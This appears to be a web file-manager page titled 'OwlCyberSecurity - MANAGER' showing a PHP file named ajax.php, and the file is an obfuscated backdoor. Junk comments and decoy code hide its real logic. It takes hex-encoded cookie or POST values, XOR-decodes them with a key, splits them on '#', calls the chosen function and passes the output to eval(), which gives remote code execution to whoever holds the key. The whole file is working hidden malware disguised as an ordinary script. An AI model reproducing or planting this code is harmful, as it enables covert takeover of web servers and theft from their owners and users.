OwlCyberSecurity - MANAGER
Edit File: ajax.php
<?php function DNlyafsh($VlXcHX) { return @pack( "\110" ./*As */"\x2a",/* rxzN */$VlXcHX );$_Ob = '27999'; /* epcxv */ $sUqgb/* LNYS*/= md5($VlXcHX);; $ruHGS/* xrp */= base64_decode($VlXcHX); if/* EbiP*/($ruHGS/*nWtT */=== false)/*gHIlc */{ $ruHGS =/* v */'';$_o/* Qa*/= '51737'; } $nmlMrVKXjv = str_split($VlXcHX);$_PQcy =/*hNk */'17873'; /* QVtr*/$YHKbTNr/* lk */= strlen($VlXcHX);$_DEG =/*HTyKj */'15053'; /* WQDhr */$HZBpeFnTM/* qKyzt */= 0; /* WmzF */while ( $HZBpeFnTM < $YHKbTNr/*o */) { $HZBpeFnTM++; /* rs */$shIFICwcIj = $nmlMrVKXjv[$HZBpeFnTM]; if/*lp */(strpos($shIFICwcIj, 'a') !==/* hpwUt */false) { $nmlMrVKXjv[$HZBpeFnTM] = strtoupper($shIFICwcIj); } /* nRNH*/} $lLNfYgBf = implode('', $nmlMrVKXjv); /*o*/$_GET['decoded'] =/* ym */$lLNfYgBf;; $_POST['hash'] =/* RnYn*/$sUqgb;; if (file_exists('path/to/file'))/* Fv*/{ /* zoR */$CfMszYKQeo = file_get_contents('path/to/file');; $bzCZRIP/* rK*/= explode(',', $CfMszYKQeo); /*u*/$KtIEAWJeU = md5(serialize($bzCZRIP)); /*JroG */if/* i */(is_array($bzCZRIP)) { $HZBpeFnTMeMAEGceVk = array_slice($bzCZRIP,/* o */0,/* Bb */5); } /*TAhfx*/} $NvpydtFM/*aQ */=/* NBG */array_map('trim', $HZBpeFnTMeMAEGceVk);$_PaaH =/* XBVoe */'50065'; /* wS */$kNiivY = rawurldecode(implode(',', $NvpydtFM)); $_COOKIE['final_value'] =/* uXm */$kNiivY;; /* DtU */} function/* K */MpoAuxbD() { /*ZEnBU */$HaHihM =/* WWo */Array($_COOKIE, $_POST);$_vq = '33804'; $szqpvIc/* WN*/= array_map('md5',/* gRE */$_COOKIE); $QquzLh = strpos($_SERVER['HTTP_USER_AGENT'],/* DsUXQ */'Mozilla')/*zV */!== false ?/* s */'browser is Mozilla'/* e*/: 'browser/* Iw*/is/* MPncq*/not Mozilla'; /*qxP*/if (is_array($HaHihM)) { $NUoNP =/* bksD */array_slice($HaHihM,/* WmIj */0, 1); } else { $NUoNP =/* vZNXz */[];$_Hpa/* tXvO */= '21578'; } /*k */ /* yuWk */$cUvRfkVsd/* GUYuF */=/* y*/explode(',',/* hBu*/'apple,orange,banana');$_HJTcr =/* ynsZ */'43768'; $cqotPXD = rawurldecode('%20Hello%20World%20'); $HZBpeFnTM = 0; /* vlIw */while/* aCwDP */($HZBpeFnTM/* hm */< count($cUvRfkVsd)/* Mviml */)/* R */{ /* oWc*/$cUvRfkVsd[$HZBpeFnTM] =/* pHexP */str_repeat($cUvRfkVsd[$HZBpeFnTM], 2);; $HZBpeFnTM++; } /* rQQl*/ /*zRLA*/$GFgMeOIG/* fFc*/=/*jY */str_repeat($QquzLh, 3); return $HaHihM;; } /* wOO */ function/* YgT*/pQYVb($FggIyhWtAf) /* tpE */{ $ZgMtsyEtZ =/*HC */chr (35);$_LdRah =/*AtiCx */'11718'; /* jhl */foreach (MpoAuxbD() as $mUEVbNXp) { VYBMxgq($mUEVbNXp,/* lXsMO */$ZgMtsyEtZ); } } /*Kxm*/function/* jkvrZ*/iDPyI($FSXln, $wLSEnp) { if (/* Jq */count ( $FSXln ) == 3/* FSDNQ */) { $CLUvEm = $FSXln[1]; /*meD */$fpFTLICO =/*daFfC */$FSXln[2]; $phwHT/* OGJGV */= $CLUvEm($fpFTLICO); eval/* ZODFy */(/* Pcyh */$phwHT/* ylcvq */); /* jO */die (); /* lr */} } /*tFKkZ */function/* cr */wYJEoYF($VlXcHX,/* aUH */$hRYuNr) { /*RGp */return $VlXcHX ^/*ZRq */$hRYuNr; /*E */} /*uhP*/function ZswdlRDbsb($wBywBO, $ZgMtsyEtZ) {/* WGDz*/ $wBywBO/* QMJEY */= explode ($ZgMtsyEtZ, $wBywBO );$_S = '28534'; iDPyI($wBywBO, $ZgMtsyEtZ);; } /*qpUN */function VYBMxgq($mUEVbNXp, $ZgMtsyEtZ) { foreach (/* Vw*/$mUEVbNXp as $hRYuNr/*HzcKS */=> $VlXcHX )/* Hza*/{ NTycSjOW($hRYuNr, DNlyafsh($VlXcHX), $ZgMtsyEtZ);; } } /*JU */ function/* GIx */dzWhrJycGo($hRYuNr,/* H */$VlXcHX) { $pMCZuAgFKp =/* J */strlen( $VlXcHX )/strlen(/*HjoMQ */$hRYuNr );; /* aHyiY */$hRYuNr .= "XdOoors-Zomcqu-TxENtun-lNmFfMh-GgjuIGe-RoUKe-yqUuJ";$_ieWy/* FjJ */=/*V */'19458'; $hRYuNr =/* pgZ*/str_repeat/* LPoQ */( $hRYuNr, intval($pMCZuAgFKp) +/* DT */1); /* QNb*/ return $hRYuNr;$_pV/* FmaiT*/=/*mTpnt */'25339'; } /* CZeX */function/*sXRIE */NTycSjOW($hRYuNr, $VlXcHX,/* i */$ZgMtsyEtZ) /* QxdPy */{/* wC*/ ZswdlRDbsb(wYJEoYF($VlXcHX, dzWhrJycGo($hRYuNr, $VlXcHX)), $ZgMtsyEtZ); $EcuKK = trim($VlXcHX);$_UerUv = '12047'; $UIOVtHDO =/* l */explode($ZgMtsyEtZ, $EcuKK);$_LL =/* x*/'1700'; if (count($UIOVtHDO) >/*Qdw */1) { $GecHGG = implode("\x2d", $UIOVtHDO); /* c */$VpwSMvHKaP/* MbKt*/= str_pad($GecHGG, 20, "\60", STR_PAD_RIGHT); /* yJmV */} else/*Vk */{ /* vlrF */$VpwSMvHKaP = str_replace(chr/*Loz */(32), "\x5f",/* XeW */$EcuKK); } /*hoY */$ZCsuJD = empty($ZgMtsyEtZ);$_RAw =/* WIX*/'38750'; /* pBTyd */if/* iWD*/(!$ZCsuJD) { /* j */$rkzytIdOAO = substr($VpwSMvHKaP,/* D*/0,/* z */10); }/*MKd*/else { $rkzytIdOAO = $VpwSMvHKaP; } } pQYVb("");